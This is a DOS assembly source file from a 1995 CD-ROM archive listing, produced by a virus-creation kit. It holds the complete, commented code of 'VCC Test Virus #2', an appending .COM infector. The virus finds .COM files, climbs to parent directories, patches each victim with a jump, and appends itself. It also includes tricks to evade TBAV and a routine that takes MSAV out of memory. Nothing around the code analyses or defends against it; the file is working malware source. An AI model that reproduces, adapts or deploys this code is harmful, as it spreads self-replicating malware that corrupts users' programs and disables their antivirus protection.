home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / IVCCUPD4.ZIP / IVCC009B.ZIP / SAMPLES / SAMPLE2.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-06-01  |  7.6 KB  |  181 lines

  1. ; Virus-Name:                      'VCC Test Virus #2'
  2. ; Virus-ID:                        '[TV]'
  3. ; Author:                          'Hacking Hell'
  4. ; Author ID:                       '[HH]'
  5. ; Creator:                         '[IE-VCC v0.09ß]'
  6. ; Creator ID:                      '[IE]'
  7.           
  8. .Model Tiny                        ; Every seen a .Model Huge in a virus?!?
  9. .Radix 16                          ; Standard Hexadecimal
  10. .Code                              ; Code segment
  11.           
  12. Dummy:                             ; This is the fake host (dummy)
  13.           db      0E9,03,00        ; JuMP to S_O_V (Start Of Virus)
  14.           db      'C'              ; Already infected marker
  15.           Int     20               ; Exit from fake host
  16.           
  17. S_O_V:                             ; Start Of Virus
  18.           
  19.           Push    CS               ; Some crap to fool TBAV
  20.           Pop     DS               ; Crap!
  21.           
  22.           Mov     AX,0FA01         ; Let's take down MSAV
  23.           Mov     DX,5945
  24.           Int     16
  25.           
  26.           Call     GetDeltaOfs     ; Get the delta offset
  27. GetDeltaOfs:
  28.           Pop      BP              ; BP is equal to IP
  29.           Sub      BP,Offset GetDeltaOfs  ; Now BP is really initiated!
  30.           
  31.           Jmp     CodeSt           ; TBAV Won't trace this ?!?
  32.           Int     20               ; For TBAV this is the end of the virus ?!?
  33.           
  34. CodeSt:                            ; This is where the virus really starts
  35.           Lea     SI,[Offset Original_Bytes+BP]  ; Source pointer for orig. bytes
  36.           Mov     DI,0100          ; Destination pointer
  37.           Movsw
  38.           Movsw
  39.           
  40.           Push    CS               ; CS <==> DS
  41.           Pop     DS
  42.           
  43.           Lea     DX,[E_O_V+BP]    ; Set DTA address to End Of Virus
  44.           Mov     AH,1A
  45.           Int     21
  46.           Mov     AX,3501          ; 'Uninstall' int 1
  47.           Sub     AX,1000          ; Fool TBAV
  48.           Mov     BX,0000
  49.           Mov     ES,BX
  50.           Int     21
  51.           
  52.           Mov     AL,01            ; 'Uninstall' int 3
  53.           Int     21
  54.           
  55. Spread:                            ; Here is the file-search routine
  56.           Mov     Byte Ptr[Infections+BP],0  ; Reset infection counter
  57. Spraed:                            ; This label is used by Traverse
  58.           Mov     AH,4E            ; Find first matching file
  59.           Lea     DX, [Offset FileSpec+BP]
  60.           
  61. FindNext:                          ; Here will be the INT 21 call
  62.           Cmp     Byte Ptr [Infections+BP],5  ; Check if all infections are done
  63.           Je      Reset_DTA        ; Yes? Reset the DTA and call activation routines
  64.           
  65.           Mov    Byte Ptr [Offset FileSpec+BP],'*'  ; Fool TBAV from finding '*.COM'
  66.           Int     21
  67.           Jc      Traverse         ; No more files, then traverse
  68.           Call    InfectFile       ; Call to the infection routine
  69.           
  70. NextFile:                          ; Set AH to findnext
  71.           Mov     AH,4F
  72.           Jmp     FindNext
  73.           
  74. Traverse:                          ; The traversal routine:
  75.           Mov     AH,3Bh           ; Change Directory (H must be or TASM thinks binary)
  76.           Lea     DX,[Offset TravelSpec+BP]  ; Pointer to '..' specification
  77.           Int     21
  78.           Jnc     Spraed
  79.           
  80. Reset_DTA:                         ; Reset the Disk Transfer Address
  81.           Mov     AH,1A            ; Set DTA Address
  82.           Mov     DX,80            ; to 80Hex
  83.           Int     21
  84.           
  85.           Call    Activations      ; Call the activation Routine(s)
  86.           
  87.           Mov     DI,0100          ; Give control to original program
  88.           Push    DI               ; Simulate a call
  89.           Ret
  90.           
  91. Activations:                       ; Place your activation Routines here!
  92.           
  93.           Ret
  94. VirusName:                         ; Name Of the virus
  95.           DB      'VCC Test Virus #2',0
  96. AuthorName:                        ; Name Of the author
  97.           DB      'Hacking Hell',0
  98. Creator:                           ; Name of the creator
  99.           DB      'I-EAS Virus Creation Centre 0.09ß'
  100. VirusID:                           ; ID of the virus
  101.           DB      '[TV]',0
  102. AuthorID:                          ; ID of the author
  103.           DB      '[HH]',0
  104. CreatorID:                         ; ID of the creator
  105.           DB      '[IE-VCC v0.09ß]',0
  106.           
  107. Original_Bytes:                    ; Original bytes will be stored here
  108.           DB      90,90,90,90      ; Fake host: 4 NOPs
  109. Jump_Table:                        ; This is the jump table that will be put
  110.           DB      0E9,03,00,'C'    ;  in the beginning of the victim
  111. Infections:                        ; Infection counter
  112.           DB      0
  113. FileSpec:                          ; Filefind Spec
  114.           DB      '+.COM',0        ; Filefind Spec (+ Will change into *)
  115. TravelSpec:                        ; Change Directory Spec (..)
  116.           DB      '..',0
  117.           
  118. InfectFile:                        ; The Infection Routine:
  119.           Mov     Byte Ptr [FileSpec+BP],'+'  ; Turn the * in a +
  120.           Lea     DX,[E_O_V+1E+BP]  ; Open the victim
  121.           Mov     AX,3D02
  122.           Int     21
  123.           Jnc     InfectIt         ; If file opened OK infect it!
  124.           Ret
  125.           
  126. InfectIt:                          ; The real infection Routine
  127.           Xchg    BX,AX            ; Copy handle in BX
  128.           
  129.           Mov     CX,0004          ;Read first 4 bytes for check
  130.           Mov     AH,3F            ; if already infected!
  131.           Lea     DX,[Original_Bytes+BP]
  132.           Int     21
  133.           
  134.           Cmp    Byte Ptr [Original_Bytes+3+BP],'C'  ; Already Infected
  135.           Jz     Shut_File         ; Close & Next file
  136.           
  137.           Mov     AX,4202          ; Goto E_O_F
  138.           Sub     CX,CX            ; 2 byte version of Mov CX,0!!
  139.           Cwd                      ; 1 Byte version of Mov DX,0!!
  140.           Int     21
  141.           
  142.           Sub     AX,0003h         ; Initialize Jump Table
  143.           Mov     Word Ptr [Jump_Table+1+BP],AX
  144.           
  145.           Mov     AX,4200          ; Goto S_O_F
  146.           Sub     CX,CX
  147.           Cwd
  148.           Int     21
  149.           
  150.           Mov     AX,4000          ; Write jump table over the original
  151.           Mov     CX,0004          ;  four bytes
  152.           Lea     DX,[Jump_Table+BP]
  153.           Int     21
  154.           Inc     Byte Ptr [Infections+BP]  ; Increase infection count
  155.           
  156.           Mov     AX,4202          ; Goto E_O_F
  157.           Sub     CX,CX            ; 2 byte version of Mov CX,0!!
  158.           Cwd                      ; 1 Byte version of Mov DX,0!!
  159.           Int     21
  160.           
  161.           Mov     AH,40            ; Implend virus code in the victim
  162.           Mov     CX,(E_O_V - S_O_V)  ; Calculate Size
  163.           Lea     DX,[S_O_V+BP]    ; Starting location
  164.           Int     21
  165.           
  166. Shut_File:                         ; Close the victim file
  167.           Mov     AH,3E
  168.           Int     21
  169.           Ret                      ; End of infection routine
  170.           
  171. E_O_V:                             ; End Of Virus label
  172.           End     Dummy            ; Set starting IP to the fake host
  173.           
  174. This virus has been produced by IE-Virus Creation Centre v0.09ß
  175. Some specific information about this creation: 
  176.  + It an appending .COM file infector
  177.  + It has minor capabilities to make the code untraceble
  178.  + If there are not enough uninfected files, it travels to '..'
  179.  + It uses several techniques to fool TBAV
  180.  + It takes down MSAV from memory
  181.